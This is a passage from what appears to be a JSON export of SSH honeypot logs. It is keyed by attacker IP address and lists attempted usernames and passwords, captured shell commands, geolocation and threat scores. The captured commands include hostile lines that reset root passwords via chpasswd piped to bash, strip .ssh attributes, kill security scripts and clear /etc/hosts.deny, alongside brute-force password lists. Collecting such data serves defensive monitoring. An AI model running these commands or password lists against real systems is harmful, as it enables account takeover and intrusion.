        "ubuntu"
      ],
      "passwords_attempted": [
        "12345",
        "12345678",
        "123456789",
        "password",
        "111111",
        "123123",
        "123456",
        "qwerty",
        "1234567"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 281,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T15:21:17.725000+00:00",
        "last_seen_30d": "2026-03-04T16:04:55.760000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 195,
        "Suricata": 86
      }
    },
    "103.217.145.104": {
      "attack_count": 188,
      "first_seen": "2026-03-12T00:50:46.197Z",
      "last_seen": "2026-03-12T01:19:51.663Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "kraft",
        "nginx",
        "1p",
        "hadoop1",
        "irc",
        "jun",
        "mysql",
        "telecom",
        "upload1",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx",
        "123123",
        "abc123",
        "admin",
        "google",
        "hadoop1",
        "jun",
        "kraft",
        "telecom",
        "upload1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"!QAZ2wsx\\nvZbQDFKK3GXJ\\nvZbQDFKK3GXJ\\n\"|passwd",
        "echo \"kraft\\nRs2uL2q2XZYm\\nRs2uL2q2XZYm\\n\"|passwd",
        "echo -e \"!QAZ2wsx\\nvZbQDFKK3GXJ\\nvZbQDFKK3GXJ\"|passwd|bash",
        "echo -e \"kraft\\nRs2uL2q2XZYm\\nRs2uL2q2XZYm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T00:50:46.197000+00:00",
        "last_seen_30d": "2026-03-12T01:20:54.831000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 188,
        "Suricata": 34
      }
    },
    "154.236.187.90": {
      "attack_count": 179,
      "first_seen": "2026-03-03T06:29:59.198Z",
      "last_seen": "2026-03-24T23:59:41.612Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "scanner",
        "claude",
        "ftpuser",
        "gittest",
        "hafiz",
        "hanul",
        "hari",
        "jwlee",
        "manel",
        "prashant",
        "salman",
        "user01",
        "zjm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "1234",
        "12345",
        "123123",
        "12345678",
        "1234@Abc",
        "14881488",
        "1q2w3e4r@",
        "3edcXSW@",
        "Baidu@123",
        "Bingo@1993",
        "Huawei!123",
        "QAZxsw123",
        "Qwe123456.",
        "abc123de",
        "hafiz",
        "jwlee",
        "prashant123!"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 253,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:29:59.198000+00:00",
        "last_seen_30d": "2026-03-25T00:00:43.751000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 179,
        "Suricata": 74
      }
    },
    "158.69.194.34": {
      "attack_count": 169,
      "first_seen": "2026-03-23T02:24:20.076Z",
      "last_seen": "2026-03-23T23:04:40.093Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "player",
        "root",
        "socksuser",
        "345gs5662d34",
        "aa",
        "eddy",
        "ghostadmin",
        "jenkins",
        "k8s",
        "ll",
        "marek",
        "mukesh",
        "purple",
        "rd",
        "student10",
        "testing",
        "ttt",
        "ubuntu",
        "vintagestory"
      ],
      "passwords_attempted": [
        "password",
        "1234",
        "!QAZ2wsx#EDC",
        "1111",
        "123",
        "12345",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Az123456@",
        "Ghostadmin123",
        "Ll123!",
        "Socksuser123",
        "aa123!",
        "marek",
        "player123!",
        "socksuser",
        "testing",
        "vintagestory"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"player123!\\nZPwzS2IV5Aiu\\nZPwzS2IV5Aiu\\n\"|passwd",
        "echo -e \"player123!\\nZPwzS2IV5Aiu\\nZPwzS2IV5Aiu\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T02:24:20.076000+00:00",
        "last_seen_30d": "2026-03-23T23:05:48.701000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 51
      }
    },
    "124.109.2.211": {
      "attack_count": 168,
      "first_seen": "2026-03-31T02:42:38.198Z",
      "last_seen": "2026-03-31T04:09:45.404Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123456*a",
        "1q2w3e4r?",
        "1q@W3e$R5t^Y",
        "202400",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc!QAZ",
        "Docker!@#",
        "Hf123456!",
        "Ls123456.",
        "QWEqwe!@#",
        "Qk123456",
        "Redhat!123",
        "Support2026!",
        "a111111",
        "marica",
        "president",
        "root.12345",
        "users",
        "woshinibaba"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:3I1SoABdYgTz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45413,
      "as_org": "ServeNET Solution Limited Partnership",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 222,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T02:42:38.198000+00:00",
        "last_seen_30d": "2026-03-31T04:10:53.531000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 54
      }
    },
    "188.208.141.252": {
      "attack_count": 168,
      "first_seen": "2026-03-31T15:24:12.624Z",
      "last_seen": "2026-03-31T16:24:06.080Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!@#123zxc",
        "100",
        "123456As",
        "3245gs5662d34",
        "345gs5662d34",
        "369852",
        "A123123a",
        "La123456",
        "Philippe123",
        "Sa@123456789",
        "abcdef123456",
        "cacat123",
        "centos@123",
        "d20251226",
        "hehe",
        "huzaifah",
        "kosong",
        "qweasdyxc",
        "rewq4321",
        "root03"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ZW9vDHVnDpKx\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Panvel",
      "asn": 132335,
      "as_org": "LEAPSWITCH NETWORKS PRIVATE LIMITED",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:24:12.624000+00:00",
        "last_seen_30d": "2026-03-31T16:25:06.829000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 56
      }
    },
    "157.230.150.182": {
      "attack_count": 166,
      "first_seen": "2026-03-11T03:04:28.034Z",
      "last_seen": "2026-03-11T07:18:57.720Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "ethereum",
        "solv"
      ],
      "passwords_attempted": [
        "123456",
        "solana",
        "1",
        "12345678",
        "1234567890",
        "123@",
        "Sol",
        "Solana",
        "ethereum",
        "qwer1234",
        "sol",
        "solv",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 244,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T03:01:20.350000+00:00",
        "last_seen_30d": "2026-03-11T07:20:07.495000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 166,
        "Suricata": 78
      }
    },
    "51.210.8.120": {
      "attack_count": 143,
      "first_seen": "2026-03-17T04:35:23.417Z",
      "last_seen": "2026-03-17T05:01:52.133Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alan",
        "cgpexpert",
        "fred",
        "ftpadmin",
        "harry",
        "kibana",
        "lijia",
        "lokesh",
        "redhat",
        "sheller",
        "thor",
        "user0"
      ],
      "passwords_attempted": [
        "12345",
        "123",
        "12345678",
        "1994",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456.",
        "Aa@147258369",
        "Alan",
        "Sheller123!",
        "fredpass",
        "kibana123",
        "redhatredhat",
        "user0@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BUWHKO9Rp9zT\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T04:35:23.417000+00:00",
        "last_seen_30d": "2026-03-17T05:02:53.590000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "14.22.89.30": {
      "attack_count": 133,
      "first_seen": "2026-03-04T22:56:29.713Z",
      "last_seen": "2026-03-17T08:57:57.253Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "pgadmin",
        "345gs5662d34",
        "dev1",
        "gbase",
        "gy",
        "nova",
        "roger",
        "stephanie",
        "tool"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1qa@WS3ed",
        "3245gs5662d34",
        "345gs5662d34",
        "Gy",
        "alaska",
        "ali@123",
        "dev1dev1",
        "gbase",
        "pgadminpass",
        "roger123",
        "stephanie123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "echo \"pgadminpass\\nYieKhwdNs3Jy\\nYieKhwdNs3Jy\\n\"|passwd",
        "echo -e \"pgadminpass\\nYieKhwdNs3Jy\\nYieKhwdNs3Jy\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "uname -m",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 135089,
      "as_org": "China Telecom",
      "threat_score": 24.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T22:56:29.713000+00:00",
        "last_seen_30d": "2026-03-17T09:00:03.830000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 133,
        "Suricata": 58
      }
    },
    "61.222.211.114": {
      "attack_count": 123,
      "first_seen": "2026-03-03T07:57:00.322Z",
      "last_seen": "2026-03-03T08:27:43.144Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1008",
        "123Qwerty",
        "147258369",
        "3245gs5662d34",
        "345gs5662d34",
        "871025",
        "Bingo@1993",
        "QWEASDzxc123",
        "Tester123",
        "killer99",
        "re123456.",
        "ubuntu123",
        "zxcv1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:ImnjAEsSGJVl\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Daan",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T07:57:00.322000+00:00",
        "last_seen_30d": "2026-03-03T08:28:45.292000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 32
      }
    },
    "103.146.202.174": {
      "attack_count": 118,
      "first_seen": "2026-03-04T00:53:26.608Z",
      "last_seen": "2026-03-04T01:19:02.477Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!QAZXSW@",
        "123132123",
        "1234@1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa666666",
        "Abcde@12345",
        "Login@123",
        "User@123",
        "aa123123aa",
        "aa7758258",
        "aaa123aaa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:0QGYSLhe9L2b\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T00:53:26.608000+00:00",
        "last_seen_30d": "2026-03-04T01:20:07.147000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 29
      }
    },
    "194.163.151.12": {
      "attack_count": 118,
      "first_seen": "2026-03-18T19:47:58.516Z",
      "last_seen": "2026-03-20T15:15:13.740Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Admin@OCI2026",
        "Oracle@12345",
        "Oracle@2026!",
        "Root@Sultan123",
        "Ubuntu2026!",
        "Ubuntu@2026",
        "VultrSultan123",
        "admin",
        "admin1",
        "admin12",
        "admin123",
        "admin1234",
        "ovh123",
        "passwd",
        "passwd1",
        "passwd12",
        "passwd123",
        "passwd1234",
        "password123",
        "password1234"
      ],
      "commands_executed": [
        "netstat -tulpn | head -10"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 28.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 7.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 9,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T06:14:18.856000+00:00",
        "last_seen_30d": "2026-03-20T15:16:22.755000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 118,
        "Suricata": 71
      }
    },
    "151.80.61.151": {
      "attack_count": 94,
      "first_seen": "2026-03-26T02:01:30.553Z",
      "last_seen": "2026-03-26T02:12:40.279Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "sanjay",
        "345gs5662d34",
        "dino",
        "haproxy",
        "kite",
        "todd"
      ],
      "passwords_attempted": [
        "123456",
        "111111",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "todd1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"12345678\\nzwsD4nb9UDaL\\nzwsD4nb9UDaL\\n\"|passwd",
        "echo -e \"12345678\\nzwsD4nb9UDaL\\nzwsD4nb9UDaL\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T02:01:30.553000+00:00",
        "last_seen_30d": "2026-03-26T02:13:40.863000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "101.47.143.255": {
      "attack_count": 75,
      "first_seen": "2026-03-26T10:14:57.738Z",
      "last_seen": "2026-03-26T10:31:50.757Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "virtualbox",
        "callcenter",
        "devenv"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "devenv"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
